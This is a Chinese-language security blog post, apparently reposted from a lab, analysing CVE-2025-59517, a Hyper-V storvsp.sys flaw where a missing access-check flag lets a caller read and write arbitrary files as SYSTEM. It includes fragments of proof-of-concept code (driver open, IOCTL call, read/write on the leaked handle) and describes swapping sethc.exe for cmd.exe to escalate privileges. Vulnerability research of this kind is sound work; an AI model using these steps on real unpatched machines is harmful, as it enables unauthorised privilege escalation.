CVE-2025-59517Windows任意文件读写漏洞分析

admin 2026-01-01 05:24:35 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 微软12月修复Hyper-V驱动storvsp.sys逻辑漏洞。VspVsmbCommonRelativeCreate函数未设置OBJ_FORCE_ACCESS_CHECK标志,导致内核调用时跳过权限验证。攻击者可利用IOCTL_VSMB_RELATIVE_CREATE接口以SYSTEM权限读写任意文件实现提权。文章提供逆向分析思路与POC代码,演示了替换sethc.exe的利用过程。 综合评分: 87 文章分类: 漏洞分析,二进制安全,漏洞POC


cover_image

CVE-2025-59517 Windows任意文件读写漏洞分析

原创

毕方安全实验室

BeFun安全实验室

2025年12月30日 14:32 四川

#

微软在12月修复了一个hyper-v的逻辑漏洞,可以通过任意文件写造成提权。

分析

storvsp.sys文件的VspVsmbCommonRelativeCreate函数在调用IoCreateFileEx的地方使用了错误的参数, 具体来说, 是ObjectAttributes参数的Attributes成员设置为了0x240也就是OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE.

关于这个函数解释如下:

storvsp.sys 是 Windows Hyper-V Storage Virtual Service Provider (StorVSP) 的内核驱动程序。它运行在宿主机(Host/Root Partition)的内核中,负责处理来自客户机(Guest VM)或 Windows Sandbox 的存储请求。

VspVsmbCommonRelativeCreate 函数是该驱动中用于处理 Virtual SMB (vSMB) 协议中“相对路径文件创建/打开”操作的核心处理函数。

该函数的主要作用是:接收来自 Guest 的文件打开请求,并在 Host 上执行实际的 IoCreateFile 操作。

注意到修复方式是改成了0x640:

// 修复后
  {
    v35 = 0x640;
    if ( !*((_BYTE *)a1 + 41) )
      v35 = 0x240;
    ObjectAttributes.Attributes = v35;
  }
// 修复前
  {
    ObjectAttributes.Attributes = 0x240;
  }

也就是OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE | OBJ_FORCE_ACCESS_CHECK, 加了一个强制检查权限, 即使调用者是内核模式也要强制系统检查当前用户的权限, 说明这个漏洞可以允许我们以系统权限去打开一个文件并进行读写, 使用IDA MCP逆向了一下可以调用到这个函数的ioctl, 以及一些相应的结构体和用法,首先打开这个路径:

swprintf_s(rootNtPath, 1024, L"\\Device\\STORVSP\\VSMB%s\\Windows", volumePath);
NtCreateFile(
        &hDriver,
        SYNCHRONIZE,
        &objectAttributes,
        &ioStatusBlock,
        NULL,
        FILE_ATTRIBUTE_NORMAL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        FILE_OPEN,
        FILE_SYNCHRONOUS_IO_NONALERT,
        NULL, 0
    );

然后调用ioctl打开目标文件:

LPCWSTR targetFile = L"system.ini";
memcpy(pInput->FileName, targetFile, fileNameLen);
DeviceIoControl(hDriver, IOCTL_VSMB_RELATIVE_CREATE, pInput, reqSize, &response, sizeof(response), &bytesRet, NULL);

最后尝试读写:

WriteFile(response.LeakedHandle, payload, (DWORD)strlen(payload), &bytesWritten, NULL)
ReadFile(response.LeakedHandle, buffer, sizeof(buffer)-1, &bytesRead, NULL)

poc视频:

这里直接替换了sethc.exe为cmd.exe,通过锁屏触发

已关注

关注

重播 分享 赞

关闭

观看更多

更多

退出全屏

切换到竖屏全屏退出全屏

BeFun安全实验室已关注

分享视频

,时长00:26

0/0

00:00/00:26

切换到横屏模式

继续播放

[ ]

进度条,百分之0

播放

00:00

/

00:26

00:26

倍速

全屏

倍速播放中

0.5倍 0.75倍 1.0倍 1.5倍 2.0倍

超清 流畅

 您的浏览器不支持 video 标签

继续观看

CVE-2025-59517 Windows任意文件读写漏洞分析

观看更多

原创

,

CVE-2025-59517 Windows任意文件读写漏洞分析

BeFun安全实验室已关注

分享点赞在看

已同步到看一看写下你的评论

视频详情

reference

  • https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59517


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:BeFun安全实验室 毕方安全实验室《CVE-2025-59517 Windows任意文件读写漏洞分析》

评论:0   参与:  0